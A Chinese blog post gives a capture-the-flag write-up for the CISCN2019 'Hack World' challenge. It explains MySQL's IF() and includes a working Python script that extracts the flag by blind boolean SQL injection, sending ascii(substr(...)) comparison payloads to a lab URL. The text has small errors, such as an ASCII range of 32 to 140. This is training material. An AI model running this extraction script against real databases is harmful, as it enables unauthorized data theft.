[CISCN2019 华北赛区 Day2 Web1]Hack World1之脚本跑flag

这道题,首先是各种fuzz,测试出一些过滤字符,然后主要讲讲脚本的知识,以及为什么脚本这样写:

首先,输入1,是hello,0是error

根据这个写脚本;

首先有一个小知识:MySQL中的if语句:

IF表达式

IF(expr1,expr2,expr3)

如果 expr1 是TRUE (或者expr1 <> 0 且 expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值;

我们就可以根据输入1和0的回显来爆出flag:
在ASCII码里面,字符的范围是[32,140];

我们就可以把flag的每一个字符和[32,140]的ascll码比较,相等就是那个字符了;

就有这样的语句:if(exp1,1,0) exp1是TRUE的话就反会1,这里就会回显hello;

那么exp1=ascll(substr(select(flag)from(flag),{i},1)={j})  这里的i是指flag的字符,从0开始,j从32开始;不懂的大概就这些啦;OK附上别人家的代码;

import requests
import re

url = 'http://0b8342d8-be5d-4bf3-b194-fc0d876593f1.node4.buuoj.cn:81/index.php'  # 路径
buu = ''  # 记录flag

for i in range(1, 50):  # flag的字符数量
    for j in range(32, 140):  # 可打印出得所有字符的asii码值
        # 构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
        payload = "if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i, j)
        data = {"id": payload}  # 构造参数对象
        res = requests.post(url=url, data=data)  # 请求
        # 进行验证和记录flag
        if 'Hello, glzjin wants a girlfriend' in res.text:
            buu = buu + chr(j)
            print(i)
            print(buu)
            break  # 跳出一层循环

参考Hack World 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值